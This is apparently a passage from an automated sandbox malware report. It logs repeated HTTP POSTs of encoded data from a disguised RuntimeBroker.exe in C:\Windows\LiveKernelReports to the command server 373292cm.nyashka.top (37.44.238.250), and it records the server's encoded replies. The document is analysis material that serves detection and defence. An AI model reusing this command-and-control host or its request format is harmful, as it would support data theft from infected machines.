Jan 11, 2025 06:43:55.207762957 CET	2544	OUT	Data Raw: 5f 53 5c 54 51 47 51 5e 5b 5f 5a 51 59 55 58 56 57 5c 5d 52 57 5b 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _S\TQGQ^[_ZQYUXVW\]RW[SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-; 867X)+?])- ?3P 1 <_7^4=/.&F$.Y/-
Jan 11, 2025 06:43:55.493876934 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:55.660264969 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	57079	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:55.787805080 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:56.146410942 CET	2544	OUT	Data Raw: 5f 50 5c 55 51 45 51 5e 5b 5f 5a 51 59 50 58 57 57 51 5d 52 57 5f 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\UQEQ^[_ZQYPXWWQ]RW_S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y8'53#Y=[(X<>).;4 S<(40)X,&F$.Y/
Jan 11, 2025 06:43:56.415776968 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:56.546447992 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	57080	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:55.854919910 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:56.208977938 CET	1872	OUT	Data Raw: 5f 51 59 55 51 45 54 50 5b 5f 5a 51 59 51 58 56 57 58 5d 5f 57 50 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _QYUQETP[_ZQYQXVWX]_WPSU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/@#-##3=*(X>=9+-;7??V#!0V<:?\#0_8>&F$.Y/=
Jan 11, 2025 06:43:56.491699934 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	57081	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:56.807445049 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:57.160871983 CET	2544	OUT	Data Raw: 5f 5c 5c 57 54 47 54 5a 5b 5f 5a 51 59 50 58 50 57 5b 5d 5e 57 51 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\\WTGTZ[_ZQYPXPW[]^WQSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-.#$6<Y40)>3+.!(=#Z<4'('4)Y.>&F$.Y/
Jan 11, 2025 06:43:57.453675032 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:57.623456001 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	57083	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:57.758203030 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:58.114073992 CET	2544	OUT	Data Raw: 5f 5d 59 52 51 42 51 5c 5b 5f 5a 51 59 53 58 52 57 5c 5d 58 57 5b 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _]YRQBQ\[_ZQYSXRW\]XW[ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.]/3!'4X).?<>>)- /V71(*7X#01X/>&F$.Y/5
Jan 11, 2025 06:43:58.409961939 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:58.575423002 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	57084	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:58.695322037 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:59.051956892 CET	2536	OUT	Data Raw: 5f 50 5c 50 51 47 54 51 5b 5f 5a 51 59 57 58 5e 57 50 5d 5e 57 58 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\PQGTQ[_ZQYWX^WP]^WXS^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-,#"-4#3=[)[(\<[?=#,$ 3?8 8&F$.Y/
Jan 11, 2025 06:43:59.444792986 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:59.597199917 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	57085	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:59.726896048 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:00.082865000 CET	2536	OUT	Data Raw: 5f 52 5c 54 54 46 54 5b 5b 5f 5a 51 59 57 58 5e 57 5a 5d 52 57 59 53 5d 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _R\TTFT[[_ZQYWX^WZ]RWYS]\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/3#A!='72=[3(=*)='7<!"?(9? 3!X/&F$.Y/
Jan 11, 2025 06:44:00.356128931 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:00.486640930 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	57086	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:00.618572950 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:00.973392010 CET	2544	OUT	Data Raw: 5a 51 5c 57 51 42 54 5a 5b 5f 5a 51 59 5f 58 56 57 5b 5d 5c 57 5f 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\WQBTZ[_ZQY_XVW[]\W_SZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.],U;A"+4V9\>?+-(= ,/R42$R++_70)];.&F$.Y/
Jan 11, 2025 06:44:01.247380018 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:01.374439001 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	57087	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:01.514717102 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	57088	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:01.640928030 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:02.032799959 CET	1852	OUT	Data Raw: 5a 56 5c 54 51 43 54 5f 5b 5f 5a 51 59 5f 58 52 57 5f 5d 5a 57 58 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZV\TQCT_[_ZQY_XRW_]ZWXSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.X;/C6>?73!Z=\<-9^(>$#<#R423*)77#=X;>&F$.Y/
Jan 11, 2025 06:44:02.297188997 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:02.431929111 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0d 3d 25 2d 00 32 02 3c 1b 24 1d 2a 54 2b 3e 38 03 3d 13 22 00 24 28 2d 1a 31 07 3b 0f 24 15 07 5c 3c 2e 29 0e 32 11 30 01 2c 24 2b 5d 0c 13 21 07 20 29 32 5a 26 5a 2c 10 29 2b 2b 5c 35 3c 3e 59 29 39 36 0a 3f 2f 20 5b 3c 29 0d 59 3c 3a 31 0c 2f 28 21 5f 2d 20 2d 09 20 04 2b 52 0d 11 24 52 2b 03 31 53 29 2e 2b 59 36 2b 3f 13 30 5b 2e 1d 25 22 32 54 30 3a 3f 02 31 1c 17 1d 25 21 07 51 32 5d 31 01 27 2c 25 12 22 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %=%-2<$*T+>8="$(-1;$\<.)20,$+]! )2Z&Z,)++\5<>Y)96?/ [<)Y<:1/(!_- - +R$R+1S).+Y6+?0[.%"2T0:?1%!Q2]1',%""#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	57089	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:01.947981119 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:02.301491976 CET	2544	OUT	Data Raw: 5f 5d 5c 54 54 47 54 5b 5b 5f 5a 51 59 55 58 56 57 5e 5d 5a 57 5c 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _]\TTGT[[_ZQYUXVW^]ZW\S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/'B#><\46+.+>.=+,47Q W0W()?]#;>&F$.Y/-
Jan 11, 2025 06:44:02.585850000 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:02.720432043 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	57090	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:02.852229118 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:44:03.207761049 CET	2544	OUT	Data Raw: 5a 55 5c 57 54 49 51 59 5b 5f 5a 51 59 53 58 5e 57 5b 5d 53 57 5d 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZU\WTIQY[_ZQYSX^W[]SW]SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\/+B">; 9\+>?(%^+##(74!;.&F$.Y/5
Jan 11, 2025 06:44:03.485198975 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:03.615292072 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	57091	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:03.744276047 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:04.098382950 CET	2544	OUT	Data Raw: 5a 50 5c 56 54 42 54 5e 5b 5f 5a 51 59 5e 58 5e 57 59 5d 53 57 5f 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZP\VTBT^[_ZQY^X^WY]SW_SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y,0#">8X >[+?X9(Y43!20S(#\73";>&F$.Y/
Jan 11, 2025 06:44:04.373613119 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:04.502549887 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	57092	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:04.747457027 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:05.098413944 CET	2544	OUT	Data Raw: 5f 56 59 50 54 49 51 5e 5b 5f 5a 51 59 52 58 5e 57 59 5d 5e 57 5f 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _VYPTIQ^[_ZQYRX^WY]^W_S^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-80'D"[#7#*)= ](\?=# <V4!+(:#" 1^..&F$.Y/1
Jan 11, 2025 06:44:05.388629913 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:05.560369968 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	57093	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:05.699287891 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:06.054738998 CET	2544	OUT	Data Raw: 5f 53 5c 53 54 47 54 5f 5b 5f 5a 51 59 52 58 56 57 51 5d 53 57 5d 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _S\STGT_[_ZQYRXVWQ]SW]SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;3!=?"0[+><]+-=)=[#7 3<_ #02/&F$.Y/1
Jan 11, 2025 06:44:06.348607063 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:06.482558966 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	57094	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:06.620104074 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:44:06.973567963 CET	2544	OUT	Data Raw: 5f 55 5c 50 51 45 51 59 5b 5f 5a 51 59 5f 58 5e 57 5f 5d 53 57 5b 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _U\PQEQY[_ZQY_X^W_]SW[S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/#C"'#9)>4+>-^(-40!!+)4V%X,.&F$.Y/
Jan 11, 2025 06:44:07.269201994 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:44:07.446542978 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:44:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	57095	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:07.474689960 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
